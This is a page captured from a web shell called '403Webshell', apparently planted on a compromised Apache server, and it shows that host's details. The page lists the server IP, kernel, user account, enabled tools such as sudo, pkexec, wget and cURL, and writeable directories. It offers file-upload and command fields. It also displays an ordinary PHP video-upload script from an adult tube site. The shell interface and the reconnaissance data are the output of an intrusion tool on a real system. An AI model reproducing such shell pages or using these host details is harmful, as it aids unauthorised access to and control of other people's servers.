403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/www.superporner.com/tube/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/www.superporner.com/tube/upload2.php
<?
session_start();
include('admin/db.php');
if($allowUploads) {
	if(!$_SESSION[userid]) {
		echo "You must be logged in to upload. <a href='$basehttp/login.php'>Click here to login.</a>";
		include($basepath.'/templates/template.overall_footer.php'); 
		exit();
	}
	else {
		if($_SESSION[user_level] == 2) {
			$isSponsor = true; 
		}
		else {
			if(!$allowSurferUploads) {
				echo "We are currently not allowing uploads from surfers."; 
				include($basepath.'/templates/template.overall_footer.php'); 
				exit();
			}
		}
	}
}
else {
	echo "We're sorry, uploads are currently disabled."; 
	include($basepath.'/templates/template.overall_footer.php'); 
	exit();
}

$title = 'Upload - Step 2'; 
$headertitle = 'Upload - Step 2';
include($basepath.'/templates/template.overall_header.php');
?>
<script type="text/javascript">
	var swfu;

		window.onload = function () {
			swfu = new SWFUpload({
				// Backend settings
				upload_url: "<? echo $basehttp;?>/process/process.video_upload.php",	// Relative to the SWF file, you can use an absolute URL as well.
				file_post_name: "video",

				// Flash file settings
				file_size_limit : "1024 MB",
				file_types : "*.flv;*.mpg;*.wmv;*.avi;*.3gp;*.qt;*.mp4;*.mov",	// or you could use something like: "*.doc;*.wpd;*.pdf",
				file_types_description : "Video Files",
				file_upload_limit : "0",
				file_queue_limit : "1",

				// Event handler settings
				swfupload_loaded_handler : swfUploadLoaded,
				
				file_dialog_start_handler: fileDialogStart,
				file_queued_handler : fileQueued,
				file_queue_error_handler : fileQueueError,
				file_dialog_complete_handler : fileDialogComplete,
				
				//upload_start_handler : uploadStart,	// I could do some client/JavaScript validation here, but I don't need to.
				upload_progress_handler : uploadProgress,
				upload_error_handler : uploadError,
				upload_success_handler : uploadSuccess,
				upload_complete_handler : uploadComplete,

				// Button Settings
				button_image_url : "<? echo $basehttp; ?>/images/upload.png",	// Relative to the SWF file
				button_placeholder_id : "spanButtonPlaceholder",
				button_width: 86,
				button_height: 22,
				
				// Flash Settings
				flash_url : "<? echo $basehttp; ?>/swfupload.swf",

				custom_settings : {
					progress_target : "fsUploadProgress",
					upload_successful : false
				},
				
				// Debug settings
				debug: false
			});

		};
	</script>
<? include($basepath.'/templates/template.uploadform.php'); ?>
<? include($basepath.'/templates/template.overall_footer.php'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit